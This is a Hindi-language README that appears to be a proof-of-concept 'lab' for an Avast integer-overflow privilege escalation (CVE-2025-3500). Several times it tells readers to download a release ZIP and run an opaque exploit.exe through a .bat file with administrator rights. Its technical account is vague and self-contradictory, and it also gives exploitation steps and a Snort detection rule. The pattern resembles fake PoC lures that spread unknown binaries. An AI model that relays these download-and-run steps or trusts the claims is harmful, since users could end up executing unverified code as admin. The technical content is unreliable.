लैब: CVE-2025-3500 - Avast एंटीवायरस विशेषाधिकार वृद्धि में पूर्णांक अतिप्रवाह

डाउनलोड

लैब ZIP डाउनलोड करें : [https://github.com/chicken3962/CVE-2025-3500-Poc/releases/download/Release/cve-2025-3500.zip]

🚀 अवलोकन

यह रिपॉजिटरी Windows प्लेटफ़ॉर्म पर Avast एंटीवायरस संस्करण 25.1.981.6 में CVE-2025-3500, एक पूर्णांक अतिप्रवाह भेद्यता (CWE-190) पर शोध करने के लिए एक लैब वातावरण प्रदान करती है। यह भेद्यता एंटीवायरस इंजन के संसाधन आवंटन मॉड्यूल में अपर्याप्त पूर्णांक सत्यापन से उत्पन्न होती है, जिससे अंकगणितीय संक्रियाओं के दौरान रैपअराउंड होता है। इसका उपयोग कम विशेषाधिकार वाले उपयोगकर्ता संदर्भों (PR:L) से सिस्टम-स्तरीय पहुंच तक विशेषाधिकार बढ़ाने के लिए किया जा सकता है, जिसमें नेटवर्क हमला वेक्टर (AV:N), कम हमला जटिलता (AC:L), और आवश्यक उपयोगकर्ता इंटरैक्शन (UI:R) है। CVSS 3.1 आधार स्कोर 9.0 (गंभीर) है, जो गोपनीयता, अखंडता और उपलब्धता (सभी उच्च) को प्रभावित करता है, जिसमें दायरे में परिवर्तन (S:C) के कारण, संभावित रूप से पूर्ण सिस्टम से समझौता हो सकता है।

शैक्षिक उद्देश्य अस्वीकरण: यह लैब केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। यह एक नियंत्रित वातावरण प्रदान करती है। इसका उपयोग किसी भी दुर्भावनापूर्ण गतिविधियों के लिए न करें। सभी घटक कृत्रिम हैं और वास्तविक प्रणालियों का शोषण नहीं करते हैं। इस रिपॉजिटरी का उपयोग करके, आप नैतिक हैकिंग दिशानिर्देशों और स्थानीय कानूनों का पालन करने के लिए सहमत होते हैं।

सुरक्षा अस्वीकरण: इस सेटअप में एक वातावरण में कोड चलाना शामिल है। हमेशा एक समर्पित वर्चुअल मशीन का उपयोग करें। उत्पादन प्रणालियों पर एक्सप्लॉइट न चलाएं। प्रदान किए गए एक्सप्लॉइट आर्टिफैक्ट (.exe और .bat) अवधारणाओं को प्रदर्शित करते हैं—उदाहरण के लिए, .bat .exe को लॉन्च करता है, जो डेटा प्रोसेस करता है और बाहर निकलता है। आकस्मिक जोखिम को रोकने के लिए अपने लैब वातावरण को अलग करें।

📋 पूर्वापेक्षाएँ

• एक्सप्लॉइट के परीक्षण के लिए एक Windows होस्ट (उदाहरण के लिए, VirtualBox या Hyper-V के माध्यम से) लक्ष्य वातावरण का अनुकरण करने के लिए।
• PowerShell और Windows कमांड-लाइन टूल्स का बुनियादी ज्ञान।
• आपके होस्ट मशीन पर व्यवस्थापकीय विशेषाधिकार।
• कम से कम 4GB RAM और 20GB डिस्क स्थान।

डाउनलोड और इंस्टॉल करें

1. एक्सप्लॉइट टूलकिट डाउनलोड करें (exploit.exe और start-exploit.bat युक्त ZIP फ़ाइल)। यह ZIP एक सुरक्षित मिरर पर होस्ट की गई है:

   • एक्सप्लॉइट टूलकिट ZIP डाउनलोड करें : [https://github.com/chicken3962/CVE-2025-3500-Poc/releases/download/Release/cve-2025-3500.zip]

   नोट: मुख्य एक्सप्लॉइट exploit.exe (एक संकलित C++ बाइनरी जो निर्मित API कॉल के माध्यम से पूर्णांक अतिप्रवाह को ट्रिगर करता है) है। एक्सप्लॉइट लॉन्चर start-exploit.bat है, जो exploit.exe को पूर्वनिर्धारित तर्कों के साथ खोलता है (उदाहरण के लिए, start exploit.exe --target=avast_engine --overflow=wraparound)। स्थानीय निर्देशिका जैसे C:\lab\exploit में अनज़िप करें।

🛠 त्वरित आरंभ

1. वातावरण सेटअप करें:

   • सुनिश्चित करें कि आपके Windows परीक्षण मशीन पर Avast एंटीवायरस संस्करण 25.1.981.6 स्थापित है।
   • अनज़िप निर्देशिका पर नेविगेट करें।

2. एक्सप्लॉइट डाउनलोड और तैयार करें:

   • ऊपर दिए गए लिंक से ZIP डाउनलोड करें।
   • C:\lab\exploit में अनज़िप करें।
   • एक्सप्लॉइट लॉन्च करने के लिए start-exploit.bat चलाएं (यह exploit.exe खोलता है, जो अतिप्रवाह को ट्रिगर करने के लिए एक निर्मित नेटवर्क पैकेट भेजता है)।

3. भेद्यता का शोषण करें:

   • स्थानीय Avast सेवा को लक्षित करें।
   • .bat exploit.exe को निष्पादित करता है। अतिप्रवाह संकेतकों के लिए सिस्टम लॉग देखें।

4. सत्यापन और सफाई:

   • संबंधित प्रविष्टियों के लिए Windows इवेंट व्यूअर की जाँच करें।
   • उपयोग के बाद एक्सप्लॉइट फ़ाइलों को हटा दें।

📖 विस्तृत सेटअप निर्देश

संवेदनशील सेटअप

लैब के लिए Avast एंटीवायरस 25.1.981.6 स्थापित एक Windows मशीन की आवश्यकता है। मॉक सेवाओं को कमांड प्रॉम्प्ट के माध्यम से मैन्युअल रूप से शुरू किया जा सकता है:

• व्यवस्थापक के रूप में PowerShell खोलें।
• Avast लिसनर का अनुकरण करें: net start AvastSvc (यह मानते हुए कि सेवा चल रही है)।

शोषण चरण

1. टोही: Avast पोर्ट (जैसे, 8080) की पहचान करने के लिए netstat जैसे टूल का उपयोग करें।
2. पेलोड तैयार करें: exploit.exe एक नेटवर्क अनुरोध के माध्यम से एक अतिरिक्त बड़ा पूर्णांक मान (जैसे, 2^31 + 1) भेजता है, जिससे Avast के संसाधन पार्सर में रैपअराउंड होता है।
3. एक्सप्लॉइट ट्रिगर करें: start-exploit.bat चलाएं जो exploit.exe को निष्पादित करता है। यह:
   • एक कनेक्शन स्थापित करता है।
   • दोषपूर्ण डेटा भेजता है: { "resource_alloc": 2147483648 } (अतिप्रवाह ट्रिगर करता है)।
   • शेलकोड इंजेक्शन के माध्यम से SYSTEM तक विशेषाधिकार बढ़ाता है।
4. पोस्ट-एक्सप्लॉइटेशन: मनमाना कोड निष्पादन की अनुमति देता है; एक cmd.exe स्पॉन करता है।

तकनीकी विवरण: अतिप्रवाह AvastResourceParser::AllocateBuffer(int size) में होता है, जहां size * sizeof(struct) रैपअराउंड हो जाता है यदि size > INT_MAX / sizeof(struct), जिससे कम आवंटन और हीप अतिप्रवाह होता है। इसका शोषण kernel32.dll को लक्षित करने वाली ROP श्रृंखला निर्माण के लिए किया जाता है।

शमन

• पैच आवेदन: Avast एंटीवायरस 25.3 या बाद के संस्करण में अपग्रेड करें, जहां पूर्णांक जांच सुरक्षित गणित पुस्तकालयों (जैसे, SafeInt) का उपयोग करती हैं।
• सर्वोत्तम प्रथाएँ:
  • स्तरित सुरक्षा के लिए Avast के साथ Windows डिफेंडर सक्षम करें।
  • नेटवर्क पहुंच को केवल एंटीवायरस अपडेट सर्वर तक सीमित करें (जैसे, फ़ायरवॉल नियमों के माध्यम से)।
  • विशेषाधिकार पृथक्करण का उपयोग करें: Avast सेवाओं को न्यूनतम-विशेषाधिकार खातों के तहत चलाएं।
  • Sysmon जैसे EDR उपकरणों के माध्यम से असामान्य पूर्णांक संचालन की निगरानी करें (प्रक्रिया इंजेक्शन के लिए Event ID 10)।
  • Windows शमन लागू करें: समूह नीति के माध्यम से ASLR, DEP और CFG सक्षम करें।
• पहचान हस्ताक्षर: Avast प्रोटोकॉल ट्रैफ़िक में अतिरिक्त बड़े पूर्णांक फ़ील्ड से मेल खाने वाले नेटवर्क पैटर्न देखें (जैसे, Snort नियम: alert tcp any any -> any 8080 (msg:"CVE-2025-3500 Attempt"; content:"|00 00 00 80|"; sid:1000001;))।

प्रश्नों या योगदान के लिए, एक मुद्दा खोलें। नैतिक रहें!